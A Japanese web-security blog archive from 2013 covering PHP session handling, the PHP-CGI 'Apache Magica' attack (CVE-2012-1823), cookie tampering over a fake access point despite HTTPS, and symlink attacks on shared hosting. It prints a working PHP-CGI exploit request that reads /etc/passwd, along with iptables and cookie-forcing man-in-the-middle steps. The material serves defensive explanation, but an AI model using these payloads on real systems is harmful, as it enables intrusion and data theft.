    • パスワードのヒントが暗号化されずに保存されていた
    • そもそもパスワードのヒントという仕様がよくない(現在は削除されている)
  • パスワードの保存にはソルト付きハッシュ + ストレッチングを使おう
  • 暗号化の際は、適切なブロック暗号化モードと初期化ベクトルを用いること

参考:

2013年11月7日木曜日

徳丸本のDRMなしPDF版が達人出版会からお買い求めいただけます

昨日から、拙著「体系的に学ぶ安全なWebアプリケーションの作り方」が達人出版会から発売されました。DRMフリーのPDF形式になります。
ということで、紙の本に加え、電子版が5種類販売されることになります。
電子版はいずれも2,800円(税別)で、PDF版はDRMなし、Kindle、Kobo、Google PlayはDRM有りになります。
読者にとって選択肢が広がるということは基本的に良いことと考えていますが、種類が多すぎて迷うという方のために、「迷うようであれば達人出版会のPDFにしておくのがいいよ」とアドバイスいたします。その理由は、
  • DRMなしのPDFというオープンな規格なので将来にわたって資産が毀損される心配がない
  • Kindle、Kobo、Google Playは固定レイアウトであり、PDFに比べてメリットがない
  • bookpub版のPDFには印刷NGという制限があるが、達人出版会版は印刷も可
ということで、制限のないPDFである達人出版会版がおすすめです。検索やコピペもできます。悪用防止のために、各ページの下部に、読者のメールアドレスが薄く表示されます。

皆様のご愛読に感謝いたします。引き続き、拙著をよろしくお願いいたします。

達人出版会版のページ

2013年11月1日金曜日

CGI版PHPに対する魔法少女アパッチマギカ攻撃を観測しました

昨夜に、魔法少女アパッチ☆マギカ攻撃を観測しました。魔法少女アパッチ☆マギカとは、PoCのソースコードに Apache Magica by Kingcope とコメントされていることに由来しています(というか、私がそう訳しましたw)。
これは10月29日にPoCが発表されたPHP-CGI攻撃(CVE-2012-1823)の変種です。従来のPHP-CGI攻撃は、CGI版PHPが動作する環境で、PHPスクリプト(中身はなんでもよい)に対する攻撃でしたが、魔法少女アパッチマギカの方は、/cgi-bin/に置かれたPHP処理系(php-cgiなど)に直接攻撃するものです。

CGI版PHPを設置する方法は複数ありますが、よく使われる方法としてApacheのリダイレクトによりPHPスクリプトをPHP処理系に実行させる方法があります。この場合、/cgi-bin/php-cgiなどとしてPHP処理系を公開領域に置くため、このphp-cgiを直接リクエストすることを禁止するために、cgi.force_redirect というディレクティブを1に設定します(php.iniに明示的に設定しなくてもデフォルトで可)。
設定ディレクティブ cgi.force_redirect は、 http://my.host/cgi-bin/php/secretdir/script.php のように URL から直接 PHP を呼び出すことを禁止します。 代わりに、 Web サーバーのリダイレクションにより処理された場合は、 PHP はこのモードでのみ処理を行います。 4.2.0 より古いバージョンの PHP では、コンパイル時のオプション --enable-force-cgi-redirect を使えば同じことができます。
http://www.php.net/manual/ja/security.cgi-bin.force-redirect.php
ところが、apache-magika.cに書かれたコメントによると、この設定は外部から無効にできてしまいます。
Prior to this code for the Security check getopt is called and it is possible to set cgi.force_redirect to zero and cgi.redirect_status_env to zero using the -d switch.
試訳
このセキュリティチェックのコード(注:cgi.force_redirectの確認)に先だって、getopt(注:コマンドライン引数の処理)が呼ばれ、-d スイッチ を使用してcgi.force_redirectとcgi.redirect_status_envをゼロにすることができる。
ということで、cgi.force_redirectは(PHP_INI_SYSTEMであるにも関わらず)コマンドライン経由で外部から変更できるということです。
apache-magika.cはC言語で書かれた、実用性の高い(攻撃にすぐに使える)コードですが、要点は以下のPOSTリクエストです。php-cgiのところは環境に合わせて変更して下さい。赤字にしたところが、魔法少女アパッチマギカの唱える呪文ですw
POST /cgi-bin/php-cgi?-d+allow_url_include%3don+-d+safe_mode%3doff+-d+suhosin.simulation%3don+-d+disable_functions%3d""+-d+open_basedir%3dnone+-d+auto_prepend_file%3dphp://input+-d+cgi.force_redirect%3d0+-d+cgi.redirect_status_env%3d0+-n HTTP/1.1
Host: example.jp
Content-Length: 40

<?php system('cat /etc/passwd'); exit();
結果は、下記のように、任意のコードが実行されます。
HTTP/1.1 200 OK
Date: Thu, 31 Oct 2013 22:26:58 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.4.2
Vary: Accept-Encoding
Connection: close
Content-Type: text/html

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
…省略
影響を受けるPHPのバージョンはCVE-2012-1823と同じですので、新たに脅威が増すということはあまりないはずですが、以下のケースでは攻撃を受ける可能性があります。
  • CVE-2012-1823脆弱性のあるPHPをCGI環境で設定しているが、PHPスクリプトが存在しないので攻撃経路が無いと判断し、対策していないサイト
  • CGI版PHPを設定していないが、/cgi-bin/ディレクトリにCVE-2012-1823脆弱なPHPバイナリがあるケース(これが意外にありそう)
  • その他、CVE-2012-1823に対して本質的でない回避策をとっている場合
ということで、以下を推奨します。

  • 最新版のPHP(本稿執筆十点では、PHP5.3.27、PHP5.4.21、PHP5.5.5)を導入する
  • /cgi-bin/等に使用していないPHP処理系がある場合は削除する

2013年10月21日月曜日

PHPのsetcookie関数で空文字列を設定しようとするとクッキーが削除される

PHPでスクリプトを書いていて、setcookieの第2パラメータ(クッキーの値)の変数をタイプミスしたところ、以下のレスポンスヘッダが送信されていました。
setcookie('A', $misspelled_variable);
 ↓ 結果
Set-Cookie: A=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT
日付が大昔になっているし、クッキーの値に「deleted」は指定していません。これは、クッキーを削除する時の書き方ですが、PHPでクッキーの削除というと、expiresに過去日付を明示する方法をよく見かけますが、単に第2パラメータを空文字列にすればよかったのか…と思いマニュアルを見たら、一応書いてありました。
http://php.net/manual/ja/function.setcookie.php
陥りやすい失敗
クッキーは設定されたものと同じパラメータで削除する必要があります。 値が空文字列あるいは FALSE で、その他の全ての引数が前に setcookie をコールした時と同じである場合に、指定された名前のクッキーが リモートクライアント上から削除されます。 内部的な動作として、これは値を 'deleted' に変更した上で有効期限を 1 年前に設定しています。
「一応」と保留したのは、マニュアルの本文ではなく「陥りやすい失敗」という項に書いてあったからです。それに、マニュアルには「1年前」とありますが、実際に設定される日付はずっと古い日付です。
そう思って、PHP5.2.6で試したら、以下のように、1年前の日付になります。
Set-Cookie: A=deleted; expires=Sat, 20-Oct-2012 07:17:38 GMT
どこかで仕様変更されたのだろうと思い、バイナリサーチで調べたところ、PHP5.3.6までは「1年前」、PHP5.3.7以降が1970年1月1日に変更されていました。

ソース上で確認すると、ext/standard/head.cのphp_setcookie関数で以下のように修正されていました。
// PHP5.3.6
if (value && value_len == 0) {
  time_t t = time(NULL) - 31536001;
  dt = php_format_date("D, d-M-Y H:i:s T", sizeof("D, d-M-Y H:i:s T")-1, t, 0 TSRMLS_CC);
  snprintf(cookie, len + 100, "Set-Cookie: %s=deleted; expires=%s", name, dt);
  efree(dt);
} else {


// PHP5.3.7
if (value && value_len == 0) {
  dt = php_format_date("D, d-M-Y H:i:s T", sizeof("D, d-M-Y H:i:s T")-1, 1, 0 TSRMLS_CC);
  snprintf(cookie, len + 100, "Set-Cookie: %s=deleted; expires=%s", name, dt);
  efree(dt);
} else {
この変更はChangeLogにも載っていないので変な感じですが、クッキーを削除したい場合はexpiresをできるだけ古い時刻にするという考え方は妥当です。そうしないと、端末の時計が狂っている場合に、クッキーが削除されずに、「PHPSESSID=deleted」という形に設定される危険性が高くなります。これが複数ユーザ存在すると、一種のセッション固定の状態になります。PHP5.5.2以降で導入されたstrict sessionsを設定していれば大丈夫ですが、まだstrict sessionsを設定しているサイトはごくわずかでしょう。

時計をあわせていない利用者の方が悪いという方もいるでしょうが、例えばこちらの事例のように、携帯機器のブラウザが「4年前の日付」になっている例もあるので、1年前くらいでは確かに不安です。「1時間前」の時刻をセットしてクッキーを削除する例をよく見ますが、端末の時計が狂っている前提では、意図に反して脆弱になる可能性があります。

私は「ログアウト時にセッションクッキーを削除する必要はない」という意見を持っています(参考:「ログアウト機能の目的と実現方法」)が、仮に削除するのであれば、端末の時刻が狂っている場合を想定して、削除時のクッキーの値には暗号論的に安全な乱数(openssl_random_pseudo_bytes関数か、/dev/urandomが利用できます)を設定しておくのがよいと思います。そうすれば、万一クッキーが削除されず設定された場合でも、脆弱性にはなりません。

2013年10月15日火曜日

session_regenerate_id関数の第1引数はtrueにすべきか

以前tumblrに書いたエントリ「データベースのデータを信用してはいけないか?」にて、PHP技術者認定試験の想定問題について取り上げましたが、その後、書籍「徹底攻略 PHP5 技術者認定 [上級] 試験問題集 [PJ0-200]対応」が刊行されたことを知り、購入しました。
同試験は、比較セキュリティの配点が高い(12%)ことから、試験問題集にはセキュリティの独立した章として第10章が割り当てられ、セキュリティの問題が21個集められています。

先のエントリで紹介した「ITトレメ PHP技術者認定・初級 過去問題一覧 - @IT自分戦略研究所」の問題を見た時の印象は、問題の癖が強く、独自の用語を使っている箇所が多いことが懸念点でしたので、そのような観点から同書第10章「セキュリティ」の問題を確認したところ、全体的に下記の印象を持ちました。
  • 用語としてIPA等で使われている一般的なもの(例:静的プレースホルダ)が用いられ、妥当と考えられる
  • 対策手法についても、IPA「安全なウェブサイトの作り方」などで説明されている方法を正とし、独自の手法はほとんど見られない
  • 「上級試験」ということで、かなり際どいところを攻めているという印象
ということで、私が懸念した問題は見当たりませんでした。執筆陣の努力を称賛したいと考えます。
しかし、最後に指摘した「際どいところ」に関しては、正誤という点では問題ない(力のある解答者なら正当に到達できる)ものの、微妙なところで議論の余地があるなと感じました。(こちらの「大、小、展、外、誤」参照)。
それは、国語入試問題必勝法的な微妙さであって、明らかに正しい選択肢を載せるとすぐに答えがわかるために、微妙な問題を残すものを正答としているのではないかと勘ぐりたくなりました。
ここでは、その例として、セッション固定化攻撃の対策方法として、session_regenerate_id()関数の使い方に関する問題を取り上げます。

session_regenerate_idの第1引数はどうすべきか

同書P324のセキュリティ問題13には、セッション固定化攻撃の対策として適切なものを2つ選択するように支持していますが、ここではその選択肢CとDに関係する話題です。元の本が問題集なので、引用はせずに要旨のみを示します。
if (認証OKの場合) {
  $_SESSION['auth'] = true;
  session_regenerate_id( ● );
}
●のところ、片方が空、片方は true となっています。実は「国語入試問題必勝法」的には正答はあきらかで、trueを指定した方が正答です。この関数の第1引数は、元のセッションIDに紐づくセッションを破棄することを指定するもので、過去のセッションを破棄したほうが安全方向に倒れることは明らかです。すなわち、これがセキュリティの問題という前提では、trueを指定しないほうが正答ということは通常ありえないわけで、先に「正誤という点では問題ない」と書いた理由はこれです。
しかし、上記のスクリプトを検討すると、微妙な問題、いや、はっきり言えば正答にもバグがあります。一方で、誤答の方にも実質的な危険性があるわけではありません。

誤答がただちに危険なわけではない

問題文のスクリプトは、まずセッションに「認証状態にある」ことをセットしたあとで、セッションIDの再生成を行っています。このため、問題の趣旨としては、元のセッションIDに対して認証状態がいったんセットされるため、古いセッションを破棄しないとセッション固定化攻撃が成立してしまうとしています。
しかし、このスクリプトを動かしてみると分かりますが、古いセッションを保存するファイルには、認証情報は保存されません。その理由は、session_write_closeが呼ばれていないからです。ファイルに認証情報が保存されていない以上、そのファイルを積極的に破棄する必要もありません。例外として、「ログイン前セッション固定化攻撃」の問題がありますが、これについて別のエントリにしたいと思います。
ということで、誤答(trueを指定しない方)に実質的な危険性があるわけではありません。

正答が模範的なわけではない

一方、正答に問題がないわけではありません。現状のスクリプトでも外部から攻撃できるわけではありませんが、PHPのセッションが仮にsession_write_closeを呼ばなくてもファイルに書き込まれる実装に変更された場合は、一瞬とはいえ元のセッションIDで認証状態になります。これは直ちに、session_regenerate_id関数の第1引数 true により削除されるわけですが、いわゆるレースコンディションの状態となり、第三者にセッションハイジャックされる危険性があります。これらを下表にまとめました。

第1引数falseあるいは指定なしtrue
現状のPHPの実装問題なし問題なし
セッションが直ちにファイルに書き込まれる実装セッションハイジャックされるレースコンディションによりセッションハイジャックされる可能性

本来は、認証確認後に直ちにsession_regenerate_idすべし

前述のように、この問題は現状のPHPの仕様(実装)では誤答・正答とも実質的な問題はありませんが、PHPの仕様が変わると、正答の方がベターな書き方であるものの、ベストではない、ということになります。
では、ベストの書き方はどうかというと、下記のように、session_regenerate_idしてから認証状態をセッションにセットすべきです。
if (認証OKの場合) {
  session_regenerate_id( ● );
  $_SESSION['auth'] = true;
}
これにより、一瞬たりとも元のセッションIDが認証状態になることはないので安全です。そして、●の部分は、それ以前のセッションをどうすべきかで判断することになります。これはすなわち、「ログイン前セッション固定化攻撃」の対策をどうすべきかということになりますが、こちらは一層ややこしい問題であるので、別稿にて説明します。一般的には true を指定した方が安全ということには、異論ありません。

まとめ

PHP5 技術者認定 [上級] 試験問題集を題材として、session_regenerate_id関数の第1引数について検討しました。これをtrueにすることは、保険的な対策としては有効であると私も考えますが、trueを指定しないために脆弱性となる例を作るのはかなり難しいと考えます。
PHP5 技術者認定 [上級] 試験問題集の第10章13番の問題は、「trueを指定しないために脆弱となる」例を無理に作ろうとしたために、前述したように「際どい」問題になってしまいました。それにより、正答が模範的なスクリプトでないため、この問題集により「正しいPHPアプリの書き方が身につくわけではない」という点も気になったところです。(たぶん続く)

2013年9月30日月曜日

HTTPSを使ってもCookieの改変は防げないことを実験で試してみた

寺田さんのブログエントリ「他人のCookieを操作する」には、通信路上の攻撃者がいる場合は、SSLを使っても、Cookieの盗聴を防ぐことはできるが、Cookieの改変を防ぐことはできないと指摘されています。いかにも寺田さんらしい簡にして要を得たエントリで、これに付け加えることはあまりないのですが、残念ながらまだ読んでいない人が多そうだと言うことと、より広い読者に向けて具体的に説明した方がよいだろうと考えました。
そこで、通信路上に攻撃者がいる典型例として、公衆無線LANの偽AP(アクセスポイント)があるケースを題材として、「HTTPSを使ってもCookieの改変は防げない」ことを説明します(Secure属性使うと盗聴は防げますが、改変は防げません)。長いエントリなので結論を先に書いておきます。
  • Secure属性がないCookieはHTTPSでも盗聴できる
  • Cookieの改変についてはSecure属性でも防ぐことはできない

偽APを用意する

まるでハッカージャパンの記事みたいな内容なので、この節は文体もハッカージャパンを真似してみましょう。
ここで紹介する実験は、「偽アクセスポイント」の偽物を作ることである。そのまま悪用可能なので、良い子の皆さんは絶対に悪用しないように。約束だぞ。
偽APの構成を下図に示そう。


(1)無線APの準備
 適当に設定すればよいが、SSIDと事前共有鍵を実在の公衆無線LANと同じにすればだまされやすいだろう。ここではだますことが目的でなく実験なので、そこまではやらない(やるなよ)。無線の暗号化は強固なものにしても問題ない。盗聴・改ざんは有線で行うからだ。むしろ、強固な暗号化を選択した方が、だまされやすくなると思うぞ(だが、やるなよ)。

(2)DHCPサーバーの設定
 DHCP(ルーターの機能を利用しても良いし、解析用PCにDHCPサーバーを立てても良い)の設定で、DHCPサーバーが配信するデフォルトゲートウェイを「解析用PC」のIPアドレスにしておく。これにより、被害者からの通信を解析用PCに誘導する。

(3)解析用PCの設定  解析用PCはデフォルトゲートウェイとして動作するので、Ubuntuの設定で、/etc/sysctl.confを以下のように修正する。
#net.ipv4.ip_forward=1
↓ コメントを取る
net.ipv4.ip_forward=1
この後、PCを再起動する。これで、AP→解析用PC→ルータ→インターネットという通信が可能となる。
この段階で既に、哀れな被害者がこのAPに接続したら、その通信は解析用PCを全て通過するので、Wiresharkを起動すれば、暗号化されていない通信は全てキャプチャされる。以下にYahoo!にリクエストした場合の様子を示そう。


ここで示しているのはリクエストだが、もちろんレスポンスについてもキャプチャできる。すなわち、偽APの利用者の通信は、文字通りだだ漏れになるのだ。しかし、SSL通信については暗号化されているため中身を見ることはできない。

Secure属性のないCookieを盗聴する

さて、ここからが本題です。文体も元に戻します。SSLを使っていても、Cookieを盗聴できる場合があるというお話です。タイトルにつけたように、CookieにSecure属性がないと、盗聴が可能になります。
 まず、よくあるのは、サイト全体はHTTP(平文)だが、個人情報を扱うページのみHTTPSというサイトです。この場合、CookieにSecure属性がないと、平文通信でもCookieが送信されてしまいます。以下、実験で確認しましょう。

 まず、被害者が https://www.city.machida.kanagawa.jp/login.php にアクセスしていて、セッションクッキーが付与されているとしましょう。クッキー情報は下図の通りです。

Secure属性がついていないことに注目してください。
この状態で、前述のAPを利用して http://www.city.machida.kanagawa.jp/ (HTTPSではない)にアクセスすると、以下のリクエストが送信されます。ばっちりCookieが見えていますね。


次に、「うちのサイトは、HTTPSのみで80番ポート閉じているから大丈夫」と言う意見をよく目にしますが、これは誤解です。少し手順は増えますが、Cookieを盗聴することは可能です。
それは、罠をしかけて、 http://www.city.machida.kanagawa.jp:443/ (httpsではなくhttp)にアクセスさせることです。罠の例を以下に示します。利用者(被害者)の通信は全て解析用PCを通過するので、わざわざ罠サイトを作る必要はなく、適当にHTTPレスポンスを改変して以下を突っ込めばよいことになります。
<img src="http://www.city.machida.kanagawa.jp:443/" width="1" height="1">
これによるリクエストは下記となります(デスティネーション443ポートをHTTPとしてデコードするように指定しています)。Cookieを含むHTTPリクエストが平文でキャプチャされています。


【結論】Secure属性のないCookieは盗聴の危険性がある

ということで、秘密情報を含むCookie(セッションIDのCookieを含む)にはSecure属性をつけましょう。

クッキーを強制する

次に、この環境を用いて、Cookieの強制(追加あるいは変更)をしてみましょう。ここまで出てきたツールではCookieの変更はできないので、Burp Suiteを使うことにします。Burp Suiteを透過Proxyとして使用するために以下の2点を設定します。
  • iptablesにより80番ポート宛のパケットをローカルの8080ポートにリダイレクトする
$ sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
  • Burp Suiteをinvisibleモードに設定する

これで、偽APを通る80番ポート向けTCPパケットは、全てBurp Suiteを通ることになります。
次に、Burp Suiteの機能で、全てのレスポンスにSet-Cookieヘッダを付与する設定を追加します。


以上で、「偽APを通過した80番ポート宛のHTTPリクエストすると、もれなくPHPSESID=ABCD12345というクッキーが設定される」という罠ができあがりです。
さっそく試してみましょう。罠を使うなどして、偽AP利用者に http://www.city.machida.kanagawa.jp/ を閲覧させます。Burp suiteの画面は下記となります。


確かに、Set-Cookie: PHPSESSID=ABCD12345 というレスポンスヘッダが付与されています。

80番ポートを閉じているサイトの場合のクッキー強制方法

次に、攻撃対象サイトが80番ポートを閉じている場合について検討します。この条件では上記の方法は使えません。その理由は、HTTPレスポンスが帰ってこないので、そのレスポンスにSet-Cookieヘッダを付与することもできないからです(リクエストは飛ぶので、リクエストのCookieヘッダを見ることは可能です)。
しかし、やりたいことはSet-Cookieヘッダを含むHTTPレスポンスを返すだけなのですから、PROXYではなく、Webサーバーを立てて、それにリクエストをリダイレクトすることにしましょう。ということで、今度はApacheの出番です。
$ sudo iptables -t nat -L --line-numbers         ← 現在の状態を確認
Chain PREROUTING (policy ACCEPT)
num  target     prot opt source               destination
1    REDIRECT   tcp  --  anywhere             anywhere             tcp dpt:http redir ports 8080
... 省略
$ sudo iptables -t nat -D PREROUTING 1           ← 1番のルールを削除
$ sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dst 133.242.129.62 --dport 80 -j REDIRECT --to-port 80          ← 133.242.129.62:80来たパケットをローカルに
これにより、偽APから IPアドレス133.242.129.62 (偽町田市サイトのIPアドレス)宛のTCPパケットを解析用PC上のapacheにリダイレクトします。
さらに、クッキー設定用のPHPスクリプト(image.php)を解析用PC上に配置します。Base64エンコードされた文字列は、1ピクセル×1ピクセルのGIF画像です。
<?php
  header('Content-Type: image/gif');
  setcookie('PHPSESSID', 'image.php');
  echo base64_decode('R0lGODlhAQABAIgAAP///wAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==');
後は、利用者に罠を仕掛けて、http://www.city.machida.kanagawa.jp/image.php を閲覧させるだけです。このリクエストは、解析用サーバー上のapacheにリダイレクトされて、1x1のGIF画像を表示するとともに、PHPSESSID=image.phpというCookieが、利用者のPCにセットされます。

Cookieの強制はサイト側で防御できない

以上のように、元サイト側で80番ポートを閉じている・いないに関わらず、HTTPSでCookieを利用しているサイトは、中間者攻撃により偽のCookieをセットされてしまうことが分かりました。これは、以下の理由によるものです。
  • Cookieはポートやプロトコル(http/https)をまたがって共有されている
  • Cookieのsecure属性は平文でCookieを送信しないという設定であり、Cookieをセットする(受信する)場合には効果がない
  • 既にsecure属性つきCookieがあっても、HTTPのsecure属性なしCookieで上書きされる(IE10、Google Chrome、Firefoxで確認)

Cookie Monster Bugの影響のないドメイン名でもセッション固定対策はしっかり行おう

ここまで説明したように、HTTPSを利用しているサイト(通信路上の盗聴・改ざんを許容していない)では、外部からCookieを強制されること自体は防御できないので、「Cookieを改変されても構わないようにサイトを設計する」必要があります。これには、以下が重要です。
  • セッション固定脆弱性対策を行う。具体的には、ログイン成功後にセッションIDを振り直す
    session_regenerate_id(true);
  • Cookieには、外部から変更されると困る値は入れない
  • Cookieに攻撃文字列を入れるタイプのXSSの影響を受けるので、攻撃経路がCookieだからという理由で許容してはいけない

緩和策としてHTTP Strict Transport Securityが有効

先ほど、Cookieの強制はWebサイト側で防御することはできないと書きましたが、緩和策としてであれば、HTTP Strict Transport Security (HSTS) が有効です。HSTSとは、特定サイトへの通信をHTTPSに強制する機能です。HSTSを利用するには、HTTPレスポンスヘッダとして下記をブラウザに送信します。includeSubdomainsはサブドメインまで含めてHSTSを強制するというオプションです。
Strict-Transport-Security: max-age=有効期間(秒); includeSubdomains
これを受け取った後は、max-ageで指定した期間、指定サイトにHTTPで接続することはできなくなり、強制的にHTTPSで接続されます。このため、HTTP(平文)でCookieの盗聴や強制も防御されます。PHPでの利用例を下記に示します。
header('Strict-Transport-Security: max-age=2592000; includeSubdomains');  // HSTS30日間有効
HSTSが完全な防御ではなく緩和策である理由は下記の通りです。
  • 対応ブラウザが本稿執筆時点でGoogle Chrome、Firefox、Operaであり、IEとSafariは未サポート
  • 利用者が初めて訪問するサイトや、HSTSの期限切れの状態では効果がない
このため、前述の対策を施した上で、HSTSヘッダを緩和策として実施するとよいでしょう。
一方、従来よく用いられてきたサーバー側でのHTTPSへの強制リダイレクトは効果がありません。この場合は、最初のリクエストはHTTPで送信されますが、Cookieの盗聴・強制には1リクエストあれすば十分だからです。

※追記(2013/9/30 10:15) このエントリ公開時にincludeSubdomainsの指定が抜けておりましたが、これがないと、サブドメイン上のページ(DNSも偽装すれば、存在しないサブドメインでも攻撃できる)でCookieの改変が可能になることを、はせがわようすけさんから指摘いただきました。ありがとうございます。もしも、既にHTTPで稼働しているサブドメインがある場合は、includeSubdomainsは指定できないので、HSTSによる緩和策は有効ではありません。

まとめ

通信路上に攻撃者がいる場合でも、SSLの正しい利用により通信路上でのHTTPメッセージの盗聴・改ざんを防ぐことができますが、Cookieに関して言えば、Secure属性の付与により盗聴は防げるものの、改ざん(強制・改変)については防御できないことを示しました。これにより、セッション固定攻撃の他、Cookieを攻撃経路とするXSS等の攻撃が現実の脅威となります。
結論としては、Cookieを改変できるかどうか(通信路上の攻撃者、Cookie Monster Bug)とは無関係に、Cookieを攻撃経路とする脆弱性は常に対処することを推奨します。また、盗聴防止として、CookieのSecure属性は必ず設定しましょう。


2013年9月20日金曜日

PHP5.5.4にてstrict sessionsのバグ(bug65475)が修正されたがテストがないことに気づいた

以前のエントリで、PHP5.5.2にて大垣さん提案のstrict sessionsがマージされたと報告しましたが、PHP5.5.4にて、このバグ(bug65475)が修正されました。バグの例として紹介したアクセスカウンタも、カウントアップすることを確認しました。

しかし、bug65475のテストを見て、重大な抜けがあることに気づきました。
$ cat bug65475.phpt
--TEST--
Bug #65475: Session ID is not initialized when session.usr_strict_mode=1
--INI--
session.save_handler=files
session.name=PHPSESSID
--SKIPIF--
<?php include('skipif.inc'); ?>
--FILE--
<?php
ob_start();

echo "Testing file module".PHP_EOL;
session_start();
$_SESSION['foo'] = 1234;
$_SESSION['cnt'] = 1;
$session_id = session_id();
session_write_close();

session_start();
var_dump($session_id === session_id());
$_SESSION['cnt']++;
session_write_close();

session_start();
var_dump($session_id === session_id());
var_dump($_SESSION['cnt']); // Should be int(2)
session_write_close();

--EXPECTF--
Testing file module
bool(true)
bool(true)
int(2)
このテストは、session.use_strict_mode=1 の指定がないと意味がないはずですが、見あたりません。use_strict_modeのデフォルトは 0 ですから、これだと strict sessions モードでない状態でのテストになります。
試みに、上記指定を追加して、同バグのあるPHP5.5.2およびPHP5.5.3で上記をテストしてみました。
ockeghem@php552:~/php-5.5.2/ext/session/tests$ pear run-tests bug65475.phpt
Running 1 tests
PASS Bug #65475: Session ID is not initialized when session.usr_strict_mode=1[bug65475.phpt]
TOTAL TIME: 00:00
1 PASSED TESTS
0 SKIPPED TESTS
なんと、テストをPASSしてしまいました。バグがある状態でFAILしてくれないと、テストの意味がありません。ということで、上記テストは、use_strict_mode=1の指定がないだけでなく、テストとして不完全なようです。

それでは、他のテストはどうなんだろうと思って同じディレクトリをgrepしてみましたが、use_strict_mode=1に設定したテストはないようです。
PHP5.5.1からPHP5.5.2(strict sessionsが実装された)で、ext/session/tests内のテスト(*.phpt)は197で増えていません。PHP5.5.4でphptの数は200に増えましたが、上記の他にbug65359に関するもののようです。

まとめ

  • PHP5.5.4にてstrict sessionのバグ(65475)が修正され、ようやくstrict sessionsが使えるようになった
  • 上記バグに関するテストbug65475.phptにはバグがあり、PHP5.5.3以前でもFAILしない
  • PHP5.5.4までの時点で、strict sessionsに関するテストが1つも存在しない
ということで、strict sessionsはとりあえず使えるようになりましたが、テストが一つもない状態は今後の品質上不安ですので、テストを強化することを希望します。

2013年9月11日水曜日

PHPカンファレンス2013でトークします

PHPカンファレンス2013にてトークしますのでご案内します。
  • 日時:2013年9月14日(土曜日) 10時00分~(徳丸の出番は12:00~12:45)
  • 場所:大田区産業プラザ(PiO)
  • 費用:無料(申し込みはこちら
  • 講演タイトル:安全なPHPアプリケーションの作り方2013
PHPカンファレンスでは2009年以降毎年トークさせていただいております。今年は、上記タイトルにて以下のテーマを取り上げます。
  • パスワードの守り方
  • セッションフィクセイション結局どうする
  • PHPのライフサイクルにどうつきあう?
  • HTML5セキュリティ入門
上の2つはPHPの最新版PHP5.5に関する話題です。また、PHPのリリースサイクルが短いということから、ライフサイクルについても(少し)お話しします。

HTML5のセキュリティについては少しずつ情報が出てきましたが、難しい、抽象的、結局なにが問題か分からない、という感想が多いのではないでしょうか。
そのため、架空の脆弱なレジストラ(ドメイン名屋さん)「おネーム.COM」に登場いただき、「HTML5で起こる実際の悪いこと」を見ていただこうと思います。
現在デモを準備中ですが、以下を予定しています。
  1. XHR Level2によるCSRFにてパスワード変更
  2. JSONハイジャックによる個人情報漏えい
  3. 広告モジュールのDOM Based XSS(単独では影響なし)
  4. ドメイン名販売ページでの潜在的なDOM Based XSS(単独では影響なし)
  5. 3と4の合わせ技で大変なことに…
関連技術としては下記があります。
  • XMLHttpRequest Level2 
  • localStorage
  • postMessage
  • クロスサイト・リクエストフォージェリ(CSRF)
  • DOM Based XSS

それでは、PiOでお会いしましょう。

2013年9月2日月曜日

ロリポップのサイト改ざん事件に学ぶシンボリックリンク攻撃の脅威と対策

既に報道されているように、ロリポップ!レンタルサーバーに対する改ざん攻撃により、被害を受けたユーザー数は8428件にのぼるということです。ここまで影響が大きくなった原因は、報道によると、(1)「WordPressのプラグインやテーマの脆弱性を利用」し、不正なファイルがアップロードされた、(2)パーミッション設定の不備を悪用されて被害が拡大した、ということのようです。
29日夜の時点では、攻撃者の改ざん手法について「WordPressのプラグインやテーマの脆弱性を利用」し、不正なファイルがアップロードされて「wp-config.phpの」の設定情報が抜き出されたと説明していたが、30日午後7時過ぎの説明で、この脆弱性が侵入経路となって同社のパーミッション設定の不備を悪用されたことが原因だったことを明らかにした。
「ロリポップ」のWordPressサイト改ざん被害、原因はパーミッション設定不備より引用
これ以上の詳細は本校執筆時点で公表されていないので憶測は控えますが、ロリポップからのリリースに以下の内容があることが気になるところです。
サーバーの設定を変更しFollowSymLinksを無効にしました。
当社サービス「ロリポップ!レンタルサーバー」ユーザーサイトへの第三者による大規模攻撃についてより引用
これは、httpd.confにて元々FollowSymLinksが有効になっていたか、レンタルサーバーの利用者が.htaccessによりFollowSymLinksを有効にできる状態であったという意味でしょう。この状況では、レンタルサーバーの悪意の利用者(サーバーへの侵入者を含む)が、同じサーバーを共有する別の利用者の秘密情報をシンボリックリンク攻撃により盗み読みすることができます。以下、シンボリックリンク攻撃の原理と脅威、対策について説明します。

デモ環境の説明

以下は、ロリポップに似せた設定の架空のレンタルサーバーのホームディレクトリ設定です。ユーザはsuzukiとtanakaで、それぞれsuzuki.example.jpとtanaka.example.jpがホスト名です。以下は、suzuki.example.jpの表示です。


ホームディレクトリの設定は下記となります。
$ ls -l
drwx-----x  3 suzuki      LolipopUser 4096 Aug 31 17:26 suzuki/
drwx-----x  3 tanaka      LolipopUser 4096 Aug 31 17:39 tanaka/
$
各利用者のホームディレクトリのパーミッションが701となっていて、同じグループ(LolipopUser)に属していますが、これはレンタルサーバー特有の設定です。これは、レンタルサーバーの利用者同士は同じグループに属するため、他のユーザのファイルにアクセスできず、apache等のサービスは、LolipopUserグループに属さないユーザの権限で動くため、各ユーザのファイルにアクセスできるという設定になっています。

レンタルサーバーの利用者間では、ファイルは閲覧できない

ここで、tanakaさんが、suzukiさんのファイルを閲覧できないことを示します。
$ su - tanaka
Password:  ←パスワードを入力
tanaka$ pwd
/home/tanaka
tanaka$ ls -l
total 8
-rw-r--r-- 1 tanaka LolipopUser  465 Sep  1 23:45 log.txt
drwxr-xr-x 2 tanaka LolipopUser 4096 Sep  1 23:39 www
tanaka$ ls -l ../suzuki/
ls: cannot open directory ../suzuki/: Permission denied  ← 別ユーザのディレクトリは参照できない
tanaka$ cat ../suzuki/www/index.html
cat: ../suzuki/www/index.html: Permission denied  ← 別ユーザのコンテンツも同様
tanaka$

閲覧権限がないファイルにシンボリックリンクを設定できる

ところが、tanakaさんは、suzukiさんのファイルに対してシンボリックリンクを設定することは可能です。
tanaka$ cd www
tanaka$ ln -s ../../suzuki/www/index.html suzuki.html
tanaka$ cat suzuki.html
cat: suzuki.html: Permission denied  ← シンボリックリンクは作れるが参照はできない
tanaka$
